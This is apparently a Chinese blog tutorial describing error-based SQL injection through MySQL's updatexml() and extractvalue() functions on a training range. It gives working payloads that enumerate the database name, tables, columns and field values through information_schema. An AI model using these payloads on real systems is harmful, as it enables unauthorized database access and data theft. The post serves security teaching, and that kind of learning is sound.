(五)SQL注入—报错注入(updatexml函数)


updatexml()函数主要用于修改查询到的内容,它总共需要三个参数,其中第二个参数必须要符合XPATH语法,否则将会返回参数错误,所以如果网页开启了错误回显,就可以使用这个函数来进行sql报错注入

 正好知识盒子中有个靶场开启了错误回显

知识盒子靶场

 首先我们试试这样的payload

123' and updatexml(1,(select database()),1)--+

 随意输入用户名和密码,开启抓包

 在提交的数据中进行报错注入

 结果没有返回任何报错信息,连语法都没出错,直接给你密码错误了

 说明通过select返回的值在函数updatexml()中是合法的,如果想要造就不合法的参数,可以通过字符串拼接

  字符串拼接的函数为concat()
  所以我们注入的内容应该是

123' and updatexml(1,concat('~',(select database()),'~'),1)--+
//这里注意select database()两边的括号不能丢,否则就会造成其他语法错误

  两边拼接的符号是自定义的,我选的是~,你也可以选别的,但如果提交方式是GET,你可千万别在URL栏中用#这个符号,否则后边给你一顿注释,啥也没注入到

  将数据提交后,可以在返回报中看到报错,提示你某个参数输入是不对的,并且这个参数值为~twosecu1_ques_2~,说明数据库名为twosecu1_ques_2

  将select database()换成查询通过数据库查询表名的语句

123' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='twosecu1_ques_2' limit 0,1),'~'),1)--+

查询到的第一个表名为user_progress

  将select database()换成查询通过查询字段的语句

123' and updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema='twosecu1_ques_2' and table_name='user_progress' limit 0,1),'~'),1)--+

查询到表的第一个字段为u_id

  最后就通过字段和表名查询字段值了

123' and updatexml(1,concat('~',(select group_concat(u_id) from user_progress limit 0,1),'~'),1)--+
group_concat()  //将指定字段的所有值连接到一起,并用逗号分隔

查询到的uid字段的所有值为1,3,4




 有个和updatexml()类似的函数是extractvalue()

extractvalue()相对于updatexml()少了一个必要参数,所以只需要第一个参数用1填充

extractvalue()从数据库查询到字段值基本和updatexml()没什么区别

  • 查询数据库
123' and extractvalue(1,concat('~',(select database()),'~'))--+
  • 查询表
123' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='twosecu1_ques_2' limit 0,1),'~'))--+
  • 查询字段
123' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='twosecu1_ques_2' and table_name='user_progress' limit 0,1),'~'))--+
  • 查询字段值
123' and extractvalue(1,concat('~',(select group_concat(u_id) from user_progress limit 0,1),'~'))--+

文章作者: wkai
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wkai !
 上一篇
JAVA(反射) JAVA(反射)
关于反射 通过Class实例获取class信息的方法称为反射。Java的反射机制提供为Java工程师的开发提供了相当多的便利性,同样也带来了潜在的安全风险。反射机制的存在使得我们可以越过Java本身的静态检查和类型约束,在运行期直
2020-08-26
下一篇 
phpmyadmin反序列化 phpmyadmin反序列化
0x01 漏洞说明phpmyadmin 2.x版本的setup.php中存在一处反序列化漏洞,通过该漏洞,攻击者可以读取任意文件或执行任意代码。 0x02 漏洞复现通过vulhub快速在docker中复现漏洞 0x03 漏洞利用使
2020-08-24
  目录